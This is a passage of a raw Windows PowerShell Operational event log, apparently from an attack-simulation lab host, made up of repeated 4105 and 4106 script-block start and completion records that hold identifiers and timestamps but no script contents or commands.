SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040043
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040042
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040041
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040040
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040039
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040038
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040037
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040036
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040035
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040034
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040033
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040032
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040031
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040030
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040029
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040028
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040027
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040026
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040025
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040024
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040023
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040022
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040021
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040020
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040019
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040018
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040017
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040016
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040015
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040014
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040013
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040012
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040011
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040010
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040009
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040008
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040007
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040006
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040005
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040004
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040003
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040002
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040001
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040000
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039999
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039998
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039997
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039996
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039995
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039994
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039993
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039992
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039991
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
